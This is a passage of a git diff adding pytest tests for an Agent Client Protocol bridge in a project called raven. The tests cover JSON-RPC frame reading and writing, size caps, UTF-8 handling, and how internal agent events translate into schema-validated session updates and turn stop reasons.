frame then concatenates onto the tail of this one, and + the client sees neither an error nor a valid frame. Buffered plus flush + turns the same condition into an exception the caller can act on. + + fd 1 is a non-blocking pipe here because that is the shape + ``_open_stdin`` produces: ``connect_read_pipe`` sets ``O_NONBLOCK`` on + fd 0's open file description, and a shell hands a foreground job fd 0, 1 + and 2 as dups of one description. The writer under test is the one + ``claim_stdout`` builds, not one this test opened, so the assertion is + about the channel rather than about ``BufferedWriter``. + """ + read_fd, write_fd = os.pipe() + os.set_blocking(write_fd, False) + err = tmp_path / "err" + err_fd = os.open(str(err), os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644) + saved_out, saved_err = os.dup(1), os.dup(2) + try: + os.dup2(write_fd, 1) + os.dup2(err_fd, 2) + payload = {"jsonrpc": "2.0", "id": 1, "result": {"blob": "x" * (1024 * 1024)}} + with claim_stdout() as writer: + with pytest.raises(BlockingIOError): + write_frame(writer, payload) + finally: + os.dup2(saved_out, 1) + os.dup2(saved_err, 2) + for fd in (saved_out, saved_err, err_fd, read_fd, write_fd): + with contextlib.suppress(OSError): + os.close(fd) + + async def test_a_failed_setup_restores_fd_1_and_keeps_no_descriptor(self, tmp_path): + """The setup has to be as symmetric as the teardown. + + Two real failures live between ``dup(1)`` and the yield: ``dup2`` raises + ``EBADF`` when fd 2 is closed, which ``raven acp 2>&-`` does, and + ``fdopen`` can fail after fd 1 has already been moved. Unhandled, the + caller would get an exception while the process carried on with its + stdout pointed at stderr and nobody holding the original descriptor. + + The injected failure is the ``fdopen`` one, because it is the worse of + the two -- fd 1 is already moved by then -- and because closing fd 2 + in-process fights pytest's own capture rather than testing this module. + The ``EBADF`` behaviour was confirmed separately in a clean interpreter. + """ + out, err = tmp_path / "out", tmp_path / "err" + + def _fdopen_fails(*a, **k): + raise OSError(24, "Too many open files") + + with _fds_to_files(out, err): + before = _open_fd_count() + with patch("os.fdopen", _fdopen_fails): + with pytest.raises(OSError): + with claim_stdout(): + pytest.fail("must not yield when it could not take the channel") + + leaked = _open_fd_count() - before + os.write(1, b"fd 1 still points at the protocol channel\n") + + assert leaked == 0, f"the failed setup leaked {leaked} descriptor(s)" + assert "fd 1 still points at the protocol channel" in out.read_text() + assert "fd 1 still points" not in err.read_text(), "fd 1 was left pointing at stderr" + + async def test_frames_are_not_left_in_a_buffer(self, tmp_path): + """A frame still buffered when the client reads is indistinguishable + from a hang, so ``write_frame`` flushes rather than leaving it to the + caller to remember, or to the next frame to push this one out.""" + out, err = tmp_path / "out", tmp_path / "err" + with _fds_to_files(out, err): + with claim_stdout() as writer: + write_frame(writer, {"jsonrpc": "2.0", "id": 7, "result": {"a": 1}}) + # Read it back before the context manager gets a chance to flush. + assert out.read_bytes().endswith(b"\n"), "frame did not reach the fd" + + +class TestReadFrames: + async def test_one_frame_per_line(self): + data = b'{"jsonrpc":"2.0","id":1,"method":"initialize"}\n{"jsonrpc":"2.0","id":2,"method":"session/new"}\n' + frames, errors = await _collect(data) + assert [f["id"] for f in frames] == [1, 2] + assert errors == [] + + async def test_non_ascii_survives_the_round_trip(self, tmp_path): + """``encode`` sends UTF-8 rather than escapes, so the decoder has to + agree; a mismatch here would corrupt every non-English prompt.""" + out, err = tmp_path / "out", tmp_path / "err" + payload = {"jsonrpc": "2.0", "id": 1, "params": {"text": "你好, world"}} + with _fds_to_files(out, err): + with claim_stdout() as writer: + write_frame(writer, payload) + frames, errors = await _collect(out.read_bytes()) + assert frames == [payload] + assert errors == [] + + async def test_blank_lines_are_not_frames(self): + frames, errors = await _collect(b'\n\n{"jsonrpc":"2.0","id":1}\n\n') + assert [f["id"] for f in frames] == [1] + assert errors == [], "a blank line is not something to complain to the client about" + + async def test_a_non_json_line_is_answered_and_the_stream_continues(self): + """The answer matters as much as the survival: a client that gets no + response keeps its promise pending forever.""" + frames, errors = await _collect(b'not json at all\n{"jsonrpc":"2.0","id":2}\n') + assert [f["id"] for f in frames] == [2] + assert len(errors) == 1 + assert errors[0]["id"] is None, "the id lived in the line that could not be read" + assert errors[0]["error"]["code"] == PARSE_ERROR + + async def test_a_json_scalar_is_not_a_frame(self): + frames, errors = await _collect(b'"just a string"\n') + assert frames == [] + assert errors[0]["error"]["code"] == PARSE_ERROR + + async def test_an_oversized_frame_is_answered_and_the_next_one_survives(self): + """The resynchronisation is the load-bearing half. + + Answering the oversized frame but resuming mid-frame would leave every + following frame garbage, so the test asserts on what comes *after* the + oversized one rather than on the error alone. + """ + huge = b'{"jsonrpc":"2.0","id":1,"params":{"x":"' + b"a" * 4096 + b'"}}' + data = huge + b'\n{"jsonrpc":"2.0","id":99,"method":"session/new"}\n' + frames, errors = await _collect(data, max_frame_bytes=1024) + + assert [f["id"] for f in frames] == [99], "the frame after the oversized one was lost" + assert len(errors) == 1 + assert errors[0]["id"] is None + assert errors[0]["error"]["code"] == INVALID_REQUEST + assert "1024" in errors[0]["error"]["message"] + + async def test_an_oversized_frame_spanning_many_chunks_still_resyncs(self): + """The cap can be exceeded several reads before the newline arrives, and + the drop must not be re-reported once per chunk.""" + huge = b"x" * (300 * 1024) + data = huge + b'\n{"jsonrpc":"2.0","id":5}\n' + frames, errors = await _collect(data, max_frame_bytes=64 * 1024) + + assert [f["id"] for f in frames] == [5] + assert len(errors) == 1, f"expected one report for one oversized frame, got {len(errors)}" + + async def test_a_truncated_final_line_is_dropped_not_guessed_at(self): + """A frame with no newline is the client dying mid-write. Acting on the + fragment is how half a tool call gets executed.""" + frames, errors = await _collect(b'{"jsonrpc":"2.0","id":1}\n{"jsonrpc":"2.0","id":2,"met') + assert [f["id"] for f in frames] == [1] + assert errors == [] + + async def test_eof_with_no_data_ends_quietly(self): + frames, errors = await _collect(b"") + assert frames == [] + assert errors == [] + + async def test_an_image_at_the_advertised_ceiling_fits_through_framing(self): + """The two caps have to be one decision. ``session/prompt`` advertises a + 20 MiB image, and base64 makes that 26.7 MiB on the wire: a frame cap + below it rejects, as malformed, a request the prompt handler would have + accepted -- and the client is told its own frame was bad. Measured + through ``read_frames`` rather than compared as two constants, because + the envelope is part of what has to fit. + """ + import base64 + + from raven.acp.methods import MAX_IMAGE_BYTES + + payload = base64.b64encode(b"\xff" * MAX_IMAGE_BYTES).decode("ascii") + frame = json.dumps( + { + "jsonrpc": "2.0", + "id": 1, + "method": "session/prompt", + "params": { + "sessionId": "acp:1", + "prompt": [{"type": "image", "mimeType": "image/png", "data": payload}], + }, + } + ).encode("utf-8") + assert len(frame) > MAX_IMAGE_BYTES, "base64 has to have inflated it, or this proves nothing" + + frames, errors = await _collect(frame + b"\n") + + assert errors == [], "an image at the documented ceiling is not a malformed frame" + assert [f["id"] for f in frames] == [1] + + async def test_a_second_image_at_the_ceiling_is_refused_at_the_frame(self): + """The other half of the same decision, stated rather than discovered: the + prompt limit is per image and this cap is per frame, so they meet at + exactly one image. Two is refused here, with the answer and the + resynchronisation every oversized frame gets.""" + import base64 + + from raven.acp.methods import MAX_IMAGE_BYTES + + block = { + "type": "image", + "mimeType": "image/png", + "data": base64.b64encode(b"\xff" * MAX_IMAGE_BYTES).decode("ascii"), + } + frame = json.dumps( + { + "jsonrpc": "2.0", + "id": 1, + "method": "session/prompt", + "params": {"sessionId": "acp:1", "prompt": [block, block]}, + } + ).encode("utf-8") + + frames, errors = await _collect(frame + b'\n{"jsonrpc":"2.0","id":2}\n') + + assert [f["id"] for f in frames] == [2], "the frame after the oversized one was lost" + assert len(errors) == 1 + assert errors[0]["error"]["code"] == INVALID_REQUEST + + +class TestInvalidUtf8: + async def test_invalid_utf8_is_reported_rather_than_substituted(self): + """``errors="replace"`` would let a corrupted frame through. + + The offending bytes become U+FFFD, and if they sat inside a JSON string + the frame still parses -- so the request would be accepted and the + corruption would travel into whatever the method does with that string. + Reporting it is the only answer that does not act on damaged input. + """ + line = b'{"jsonrpc":"2.0","id":1,"method":"session/prompt","params":{"text":"\xff\xfe"}}' + frames, errors = await _collect(line + b'\n{"jsonrpc":"2.0","id":2}\n') + + assert [f["id"] for f in frames] == [2], "a frame with invalid UTF-8 was accepted" + assert len(errors) == 1 + assert errors[0]["error"]["code"] == PARSE_ERROR + assert "UTF-8" in errors[0]["error"]["message"] diff --git a/tests/test_acp_updates.py b/tests/test_acp_updates.py new file mode 100644 index 00000000..bb7cea2a --- /dev/null +++ b/tests/test_acp_updates.py @@ -0,0 +1,1749 @@ +"""The outbound translator: every wire event, and the turn state machine. + +Two things are pinned, and they fail for different reasons. + +**Coverage of the wire vocabulary.** ``KNOWN_EVENT_TYPES`` is asserted against +what the code that emits them actually emits, so a new ``TuiOutlet`` event fails +here rather than being dropped by a translator with no branch for it. That is the +failure mode where a client is missing information and nobody notices. + +**Shape of every frame.** Each translated update is validated against the +vendored official schema. Comparing against a dict typed out here would only +assert that the translator does what this file expects; the schema is what +decides whether that is the protocol. +""" + +from __future__ import annotations + +import asyncio +import json + +import pytest + +from raven.acp.tool_kinds import MAX_LOCATIONS, locations, title_for, tool_kind +from raven.acp.updates import ( + KNOWN_EVENT_TYPES, + MAX_DEFERRED_ENDINGS, + MAX_MEDIA_ITEMS, + MAX_RESULT_PREVIEW, + SIDE_CHANNEL_METHODS, + AcpSession, + TurnAlreadyRunningError, + UpdateTranslator, + translate, +) +from tests.acp_schema import validate_def + + +def _session(session_id: str = "acp:s1", cwd: str = "/work") -> AcpSession: + return AcpSession(session_id=session_id, session_key=session_id, cwd=cwd, subscription_id="sub-1") + + +def _event(event_type: str, **payload): + return { + "jsonrpc": "2.0", + "method": "event", + "params": {"subscription_id": "sub-1", "event": {"type": event_type, "payload": payload}}, + } + + +def _updates(frames: list[dict]) -> list[dict]: + return [f["params"]["update"] for f in frames if f.get("method") == "session/update"] + + +class TestWireVocabulary: + def test_the_pinned_set_is_what_the_emitters_emit(self): + """Read out of the source rather than restated, so an event added to the + spine fails this test instead of silently going untranslated. + + The three that are matched by prefix are the DAG bridge's, which builds + its wire names from a map rather than as literals at the emit site. + """ + import inspect + import re + + from raven.rpc import spine + from raven.rpc.methods import turn + + emitted = set() + for module in (spine, turn): + source = inspect.getsource(module) + emitted |= set(re.findall(r'"type": "([a-z_.]+)"', source)) + emitted |= set(re.findall(r'"(dag\.[a-z_]+)"', inspect.getsource(spine))) + emitted |= {"cron.delivered", "cron.missed"} + + missing = emitted - KNOWN_EVENT_TYPES + assert missing == set(), ( + f"these wire events reach the ACP sink with no branch in the translator: {sorted(missing)}" + ) + + def test_the_pinned_set_does_not_claim_events_that_do_not_exist(self): + # The other direction: a name left behind after an event was renamed + # would make the coverage assertion above pass while the branch is dead. + for kind in KNOWN_EVENT_TYPES: + translate({"type": kind, "payload": {}}) + + def test_the_side_channel_list_covers_every_non_event_notification(self): + """These are the frames that share ``send_frame`` with the subscription + stream. Each is dropped today; the list exists so "dropped" is a decision + with a name rather than an accident.""" + assert {"approval.request", "clarify.request", "confirm.request"} <= SIDE_CHANNEL_METHODS + assert {"mcp.status", "memory.health", "oauth.pending", "oauth.done"} <= SIDE_CHANNEL_METHODS + + +class TestTranslatedFrames: + def test_text_becomes_an_agent_message_chunk(self): + result = translate({"type": "token.delta", "payload": {"text": "hello"}}) + + assert result.updates[0]["sessionUpdate"] == "agent_message_chunk" + assert result.updates[0]["content"] == {"type": "text", "text": "hello"} + validate_def("SessionUpdate", result.updates[0]) + + def test_reasoning_becomes_a_thought_chunk(self): + result = translate({"type": "thinking.delta", "payload": {"text": "considering"}}) + + assert result.updates[0]["sessionUpdate"] == "agent_thought_chunk" + validate_def("SessionUpdate", result.updates[0]) + + def test_an_empty_delta_produces_no_frame(self): + """The stream carries empty deltas at boundaries; forwarding them would + put a frame on the wire for every one.""" + assert translate({"type": "token.delta", "payload": {"text": ""}}).updates == () + assert translate({"type": "token.delta", "payload": {}}).updates == () + + def test_a_tool_start_is_in_progress_not_pending(self): + """``pending`` means "not started -- streaming input or awaiting + approval". By the time this event exists the call is running, and a + pending row that never changes reads as a hang.""" + result = translate( + { + "type": "tool.start", + "payload": {"tool_call_id": "t1", "name": "exec", "arguments": {"command": "npm test"}}, + }, + cwd="/work", + ) + update = result.updates[0] + + assert update["status"] == "in_progress" + assert update["kind"] == "execute" + assert update["title"] == "exec: npm test" + validate_def("SessionUpdate", update) + + def test_a_tool_start_resolves_its_locations_against_the_session_cwd(self): + """The spec requires absolute paths, and raven's tools take + workspace-relative ones. Resolving against the process cwd instead would + aim the client's follow-along at wherever the editor was launched from.""" + result = translate( + { + "type": "tool.start", + "payload": {"tool_call_id": "t", "name": "read_file", "arguments": {"path": "a.py"}}, + }, + cwd="/work", + ) + + assert result.updates[0]["locations"] == [{"path": "/work/a.py"}] + + def test_a_blocking_tool_is_marked_in_meta(self): + """There is no standard field for it, and a client that clocks the stream + needs to stop the clock: a blocking call may emit nothing for minutes.""" + result = translate( + {"type": "tool.start", "payload": {"tool_call_id": "t", "name": "ask_user", "blocking": True}} + ) + + assert result.updates[0]["_meta"]["raven.blocking"] is True + validate_def("SessionUpdate", result.updates[0]) + + def test_a_tool_completion_carries_its_preview_as_content(self): + result = translate({"type": "tool.complete", "payload": {"tool_call_id": "t1", "result_preview": "3 passed"}}) + update = result.updates[0] + + assert update["sessionUpdate"] == "tool_call_update" + assert update["content"] == [{"type": "content", "content": {"type": "text", "text": "3 passed"}}] + validate_def("SessionUpdate", update) + + def test_a_truncated_preview_says_so(self): + result = translate( + {"type": "tool.complete", "payload": {"tool_call_id": "t", "result_preview": "x", "truncated": True}} + ) + + assert result.updates[0]["content"][0]["content"]["text"].endswith("[truncated]") + + def test_an_oversized_preview_is_capped_even_when_unflagged(self): + """The runtime truncates and sets the flag; this is the backstop for a + tool that does neither, so one runaway result cannot become a + multi-megabyte frame.""" + payload = {"tool_call_id": "t", "result_preview": "y" * (MAX_RESULT_PREVIEW + 100)} + text = translate({"type": "tool.complete", "payload": payload}).updates[0]["content"][0]["content"]["text"] + + assert len(text) <= MAX_RESULT_PREVIEW + len("\n[truncated]") + assert text.endswith("[truncated]") + + def test_an_empty_preview_sends_status_without_content(self): + update = translate({"type": "tool.complete", "payload": {"tool_call_id": "t"}}).updates[0] + + assert "content" not in update, "an empty content array renders as a blank block" + validate_def("SessionUpdate", update) + + def test_a_subagents_reply_is_tagged_rather_than_merged(self): + """A direct chat runs on its own lane but is emitted onto the session's + subscription. Untagged, a delegated agent's words are rendered as the + main agent's; suppressed, a turn looks idle while a sub-agent talks.""" + result = translate( + {"type": "token.delta", "payload": {"text": "sub", "target": {"agent": "scout", "handle": "h"}}} + ) + + assert result.updates[0]["_meta"] == {"raven.target": {"agent": "scout", "handle": "h"}} + validate_def("SessionUpdate", result.updates[0]) + + def test_a_write_arrives_as_a_structured_diff_beside_the_preview(self): + """Built from the file's contents, not from the unified diff the same + event carries: a unified diff cannot be turned back into the file, its + context is limited, and an oversized rewrite is dropped from it.""" + result = translate( + { + "type": "tool.complete", + "payload": { + "tool_call_id": "t", + "result_preview": "Successfully wrote 6 bytes", + "diff": "--- /w/a.py\n+++ /w/a.py\n@@ -1 +1 @@\n-x = 0\n+x = 1", + "file_change": {"path": "/w/a.py", "after": "x = 1\n", "before": "x = 0\n"}, + }, + } + ) + blocks = result.updates[0]["content"] + + assert [b["type"] for b in blocks] == ["content", "diff"] + assert blocks[1] == {"type": "diff", "path": "/w/a.py", "newText": "x = 1\n", "oldText": "x = 0\n"} + validate_def("SessionUpdate", result.updates[0]) + + def test_a_new_file_omits_old_text_rather_than_sending_null(self): + """The schema says ``oldText`` is "the original content (None for new + files)". Sending null for a file whose previous content is merely + unavailable claims it was created, and renders every line of a rewrite as + an addition.""" + result = translate( + { + "type": "tool.complete", + "payload": {"tool_call_id": "t", "file_change": {"path": "/w/new.py", "after": "x = 1\n"}}, + } + ) + block = result.updates[0]["content"][0] + + assert block == {"type": "diff", "path": "/w/new.py", "newText": "x = 1\n"} + assert "oldText" not in block + + @pytest.mark.parametrize( + "change", + [ + None, + "diff", + {}, + {"path": "/w/a.py"}, + {"after": "x"}, + {"path": "", "after": "x"}, + {"path": "/w/a", "after": 5}, + ], + ) + def test_a_malformed_change_produces_no_diff_block(self, change): + result = translate({"type": "tool.complete", "payload": {"tool_call_id": "t", "file_change": change}}) + + blocks = result.updates[0].get("content", []) + assert [b for b in blocks if b["type"] == "diff"] == [] + + def test_a_call_that_changed_nothing_sends_no_diff(self): + result = translate({"type": "tool.complete", "payload": {"tool_call_id": "t", "result_preview": "3 passed"}}) + + assert [b["type"] for b in result.updates[0]["content"]] == ["content"] + + def test_a_subagents_tool_completion_is_tagged_too(self): + """The start and the completion both have to carry it, or a client that + demultiplexes on the tag renders half a delegated tool call as its own.""" + result = translate( + { + "type": "tool.complete", + "payload": {"tool_call_id": "t", "result_preview": "ok", "target": {"agent": "a", "handle": "h"}}, + } + ) + + assert result.updates[0]["_meta"] == {"raven.target": {"agent": "a", "handle": "h"}} + validate_def("SessionUpdate", result.updates[0]) + + def test_a_malformed_target_is_ignored_rather_than_forwarded(self): + result = translate({"type": "token.delta", "payload": {"text": "x", "target": "scout"}}) + + assert "_meta" not in result.updates[0] + + +class TestUsage: + """The one place raven's rich accounting maps cleanly onto ACP.""" + + def test_a_completion_carries_the_window_and_the_cost(self): + result = translate( + { + "type": "message.complete", + "payload": { + "turn_id": "t", + "usage": { + "prompt_tokens": 100, + "completion_tokens": 20, + "cost_usd": 0.0042, + "context_used": 13500, + "context_max": 200000, + }, + }, + } + ) + + assert result.stop == "end_turn" + assert result.updates[0] == { + "sessionUpdate": "usage_update", + "used": 13500, + "size": 200000, + "cost": {"amount": 0.0042, "currency": "USD"}, + } + validate_def("SessionUpdate", result.updates[0]) + + def test_the_usage_goes_out_before_the_turn_ends(self): + """A cost reported after the turn is over arrives when the client has + already finalised it.""" + result = translate({"type": "message.complete", "payload": {"usage": {"context_used": 1, "context_max": 2}}}) + + assert result.updates and result.stop == "end_turn" + + def test_no_cost_is_no_cost_key_rather_than_a_zero(self): + result = translate({"type": "message.complete", "payload": {"usage": {"context_used": 1, "context_max": 100}}}) + + assert "cost" not in result.updates[0] + validate_def("SessionUpdate", result.updates[0]) + + @pytest.mark.parametrize( + "usage", + [ + None, + {}, + "lots", + {"context_used": 1}, + {"context_max": 100}, + {"context_used": 1, "context_max": 0}, + {"context_used": -1, "context_max": 100}, + {"context_used": "1", "context_max": 100}, + ], + ) + def test_an_unusable_window_produces_no_update(self, usage): + """A ``size`` of zero has a client drawing a full bar or dividing by it, + and an update of zeroes is not the same statement as no update.""" + result = translate({"type": "message.complete", "payload": {"usage": usage}}) + + assert result.updates == () + assert result.stop == "end_turn", "the turn still ends; only the accounting is withheld" + + def test_a_cost_of_zero_is_still_reported(self): + """Zero is a real answer -- a cached reply cost nothing -- and different + from not knowing.""" + result = translate( + {"type": "message.complete", "payload": {"usage": {"context_used": 1, "context_max": 2, "cost_usd": 0}}} + ) + + assert result.updates[0]["cost"] == {"amount": 0.0, "currency": "USD"} + + +class TestTerminationMapping: + def test_a_completion_ends_the_turn(self): + assert translate({"type": "message.complete", "payload": {"turn_id": "t"}}).stop == "end_turn" + + def test_the_one_cancel_signal_is_recognised_by_its_reason(self): + """``turn.cancel`` emits exactly one error event, and its docstring says + it must always fire -- it is the only cancelled-turn signal. Matching on + the reason and not the code matters: -32099 is also a build failure and a + draining scheduler, and neither is a cancellation.""" + result = translate( + {"type": "error", "payload": {"code": -32099, "message": "turn_cancelled", "reason": "cancelled_by_client"}} + ) + + assert result.stop == "cancelled" + assert result.updates == (), "a cancel needs no explanation; the client asked for it" + + def test_a_failure_is_explained_and_then_ended_not_errored(self): + """Measured from the other direction on codex-acp: an error in reply to a + turn-shaped request makes clients tear down the whole turn. So the + failure is content, and the turn still ends with a stop reason.""" + result = translate( + {"type": "error", "payload": {"code": -32008, "message": "model_not_available", "reason": "internal"}} + ) + + assert result.stop == "end_turn" + assert "model_not_available" in result.updates[0]["content"]["text"] + assert "-32008" in result.updates[0]["content"]["text"] + + def test_a_failure_with_nothing_in_it_still_says_something(self): + result = translate({"type": "error", "payload": {}}) + + assert result.updates[0]["content"]["text"] == "The turn failed." + + def test_a_blocked_action_latches_refusal_without_ending_the_turn(self): + """The runtime still ends the turn through its normal path. Claiming the + stop reason here would race that.""" + result = translate({"type": "notice", "payload": {"kind": "action_blocked", "detail": "policy says no"}}) + + assert result.latch == "refusal" + assert result.stop is None + assert result.updates[0]["content"]["text"] == "policy says no" + + def test_a_blocked_action_with_no_detail_is_still_explained(self): + """A refusal with no explanation is indistinguishable from an empty + answer.""" + result = translate({"type": "notice", "payload": {"kind": "action_blocked"}}) + + assert result.updates[0]["content"]["text"] + + def test_other_notices_stay_off_the_wire(self): + for kind in ("progress", "tool_hint", "injected", "delivery_failed"): + assert translate({"type": "notice", "payload": {"kind": kind}}).updates == () + + +class TestUnmappedEvents: + @pytest.mark.parametrize( + "kind", + [ + "message.start", + "episode.start", + "dag.run_started", + "dag.node_updated", + "dag.run_completed", + "cron.delivered", + "cron.missed", + ], + ) + def test_they_produce_nothing_and_do_not_raise(self, kind): + result = translate({"type": kind, "payload": {"anything": 1}}) + + assert (result.updates, result.latch, result.stop) == ((), None, None) + + def test_an_unknown_event_is_dropped_rather_than_raised(self): + """A translator that crashed on an unrecognised event would take the + connection down over a wire event somebody added for the web client.""" + assert translate({"type": "something.new", "payload": {}}).updates == () + + def test_a_malformed_event_is_dropped(self): + assert translate(None).updates == () + assert translate("token.delta").updates == () + assert translate({"type": "token.delta", "payload": "hello"}).updates == () + + +class TestSinkRouting: + def test_a_non_dict_frame_never_reaches_the_wire(self): + """Measured, not hypothetical: ``browser.watch`` pushes an RVF1 header + plus a JPEG through this same sink, and the WebSocket transport branches + on bytes. On stdio there is no such branch, so one frame of video would + put binary on the protocol channel.""" + written = [] + translator = UpdateTranslator(emit=written.append) + + asyncio.run(translator.send_frame(b"RVF1\x00\x01")) + + assert written == [] + assert translator.dropped == {"": 1} + + def test_a_side_channel_handler_gets_first_refusal(self): + """``clarify.request`` blocks a tool call, so dropping it stalls a turn + until the broker's own timeout rather than failing it. The hook is where + it gets served.""" + seen = [] + translator = UpdateTranslator(emit=lambda f: None, side_channel=lambda m, p: seen.append((m, p)) or True) + + asyncio.run(translator.send_frame({"jsonrpc": "2.0", "method": "clarify.request", "params": {"q": 1}})) + + assert seen == [("clarify.request", {"q": 1})] + assert translator.dropped == {}, "a handled frame must not also be counted as dropped" + + def test_a_handler_that_declines_leaves_the_frame_on_the_dropped_tally(self): + """So a surface that grows a new notification still shows up there.""" + translator = UpdateTranslator(emit=lambda f: None, side_channel=lambda m, p: False) + + asyncio.run(translator.send_frame({"jsonrpc": "2.0", "method": "confirm.request", "params": {}})) + + assert translator.dropped == {"confirm.request": 1} + + def test_a_handler_that_raises_does_not_take_the_turn_down(self): + """The sink is shared with the streaming path.""" + + def _boom(method, params): + raise RuntimeError("handler is wrong") + + translator = UpdateTranslator(emit=lambda f: None, side_channel=_boom) + + asyncio.run(translator.send_frame({"jsonrpc": "2.0", "method": "clarify.request", "params": {}})) + + assert translator.dropped == {"clarify.request": 1} + + def test_a_frame_with_a_non_string_method_never_reaches_the_handler(self): + called = [] + translator = UpdateTranslator(emit=lambda f: None, side_channel=lambda m, p: called.append(m) or True) + + asyncio.run(translator.send_frame({"jsonrpc": "2.0", "method": 42, "params": {}})) + + assert called == [] + + def test_a_side_channel_notification_is_counted_not_forwarded(self): + written = [] + translator = UpdateTranslator(emit=written.append) + + asyncio.run(translator.send_frame({"jsonrpc": "2.0", "method": "approval.request", "params": {}})) + asyncio.run(translator.send_frame({"jsonrpc": "2.0", "method": "approval.request", "params": {}})) + + assert written == [] + assert translator.dropped == {"approval.request": 2} + + def test_an_event_for_an_unknown_subscription_is_dropped(self): + """Not an error: the emitter also serves turns the runtime submitted + (cron), which have no ACP session.""" + written = [] + translator = UpdateTranslator(emit=written.append) + + asyncio.run(translator.send_frame(_event("token.delta", text="x"))) + + assert written == [] + assert "event/" in translator.dropped + + def test_a_malformed_event_frame_is_dropped(self): + translator = UpdateTranslator(emit=lambda f: None) + + asyncio.run(translator.send_frame({"jsonrpc": "2.0", "method": "event", "params": "sub-1"})) + + assert "event/" in translator.dropped + + def test_a_frame_without_a_method_is_counted_under_its_own_name(self): + translator = UpdateTranslator(emit=lambda f: None) + + asyncio.run(translator.send_frame({"jsonrpc": "2.0", "id": 1, "result": {}})) + + assert "" in translator.dropped + + def test_an_event_reaches_the_session_that_owns_its_subscription(self): + written = [] + translator = UpdateTranslator(emit=written.append) + translator.add(_session()) + + asyncio.run(translator.send_frame(_event("token.delta", text="hi"))) + + assert written[0]["method"] == "session/update" + assert written[0]["params"]["sessionId"] == "acp:s1" + validate_def("SessionNotification", written[0]["params"]) + + def test_rebinding_a_subscription_releases_the_old_one(self): + """A session that resubscribes must not keep receiving on the dead id -- + two live mappings to one session would double every frame.""" + written = [] + translator = UpdateTranslator(emit=written.append) + translator.add(_session()) + translator.bind_subscription("acp:s1", "sub-2") + + asyncio.run(translator.send_frame(_event("token.delta", text="stale"))) + + assert written == [] + assert "event/" in translator.dropped + + def test_a_first_subscription_can_be_bound_after_the_session_exists(self): + """The ordering ``session/load`` will need: the session is known before + its stream is, so the first bind has no previous id to release.""" + written = [] + translator = UpdateTranslator(emit=written.append) + translator.add(AcpSession(session_id="acp:s2", session_key="acp:s2", cwd="/w")) + + translator.bind_subscription("acp:s2", "sub-7") + + asyncio.run( + translator.send_frame( + { + "jsonrpc": "2.0", + "method": "event", + "params": {"subscription_id": "sub-7", "event": {"type": "token.delta", "payload": {"text": "x"}}}, + } + ) + ) + assert _updates(written)[0]["content"]["text"] == "x" + + def test_binding_an_unknown_session_is_a_no_op(self): + translator = UpdateTranslator(emit=lambda f: None) + + translator.bind_subscription("acp:missing", "sub-9") + + assert translator.get("acp:missing") is None + + def test_a_session_added_without_a_subscription_can_still_be_looked_up(self): + translator = UpdateTranslator(emit=lambda f: None) + translator.add(AcpSession(session_id="acp:s2", session_key="acp:s2", cwd="/w")) + + assert translator.get("acp:s2") is not None + assert len(translator.sessions()) == 1 + + +class TestTurnState: + async def test_the_terminating_event_resolves_the_prompt(self): + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + translator.accept_turn("acp:s1", "t") + + await translator.send_frame(_event("message.complete", turn_id="t")) + + assert await future == "end_turn" + + async def test_a_latched_refusal_wins_over_the_default(self): + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + translator.accept_turn("acp:s1", "t") + + await translator.send_frame(_event("notice", kind="action_blocked", detail="no", turn_id="t")) + await translator.send_frame(_event("message.complete", turn_id="t")) + + assert await future == "refusal" + + async def test_only_the_first_latch_counts(self): + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + + translator.accept_turn("acp:s1", "t") + + await translator.send_frame(_event("notice", kind="action_blocked", detail="first", turn_id="t")) + await translator.send_frame(_event("notice", kind="action_blocked", detail="second", turn_id="t")) + await translator.send_frame(_event("message.complete", turn_id="t")) + + assert await future == "refusal" + + async def test_a_second_terminating_event_is_a_no_op(self): + """A cancel followed by the sink's own failure event is the normal shape. + Resolving twice would raise ``InvalidStateError`` inside the emitter's + coalesce task, where nothing reports it.""" + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + + translator.accept_turn("acp:s1", "t") + + await translator.send_frame( + _event("error", code=-32099, message="c", reason="cancelled_by_client", turn_id="t") + ) + await translator.send_frame(_event("message.complete", turn_id="t")) + + assert await future == "cancelled" + + async def test_events_arriving_with_no_turn_open_are_harmless(self): + written = [] + translator = UpdateTranslator(emit=written.append) + translator.add(_session()) + + await translator.send_frame(_event("message.complete", turn_id="t")) + await translator.send_frame(_event("token.delta", text="late")) + + assert len(written) == 1, "the text still goes out; only the turn bookkeeping is skipped" + + async def test_a_second_concurrent_prompt_is_refused(self): + """ACP allows several sessions on one connection, but a session's updates + carry no request correlation -- two prompts in flight produce one + interleaved stream that cannot be split apart.""" + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + translator.begin_turn("acp:s1") + + with pytest.raises(TurnAlreadyRunningError): + translator.begin_turn("acp:s1") + + async def test_a_new_prompt_is_allowed_once_the_last_one_settled(self): + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + first = translator.begin_turn("acp:s1") + translator.accept_turn("acp:s1", "t") + await translator.send_frame(_event("message.complete", turn_id="t")) + await first + + second = translator.begin_turn("acp:s1") + + assert second is not first + + async def test_settling_from_outside_the_stream_works_once(self): + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + + translator.accept_turn("acp:s1", "t") + + assert translator.settle_turn("acp:s1", "cancelled") is True + assert translator.settle_turn("acp:s1", "end_turn") is False + assert await future == "cancelled" + + def test_settling_an_unknown_or_idle_session_reports_false(self): + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + + assert translator.settle_turn("acp:nope", "cancelled") is False + assert translator.settle_turn("acp:s1", "cancelled") is False + + async def test_closing_answers_what_is_waiting(self): + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + future = translator.begin_turn("acp:s1") + + translator.accept_turn("acp:s1", "t") + + translator.close() + + assert await future == "cancelled" + + async def test_a_turn_opened_after_closing_is_answered_immediately(self): + """The race a single sweep cannot close: a handler task created before EOF + may not have begun before EOF, so it opens its turn after everything + pending was settled -- and would then wait on a stream that is finished.""" + translator = UpdateTranslator(emit=lambda f: None) + translator.add(_session()) + translator.close() + + future = translator.begin_turn("acp:s1") + + assert future.done() + assert await future == "cancelled" + + async def test_closing_twice_is_harmless(self): + translator = 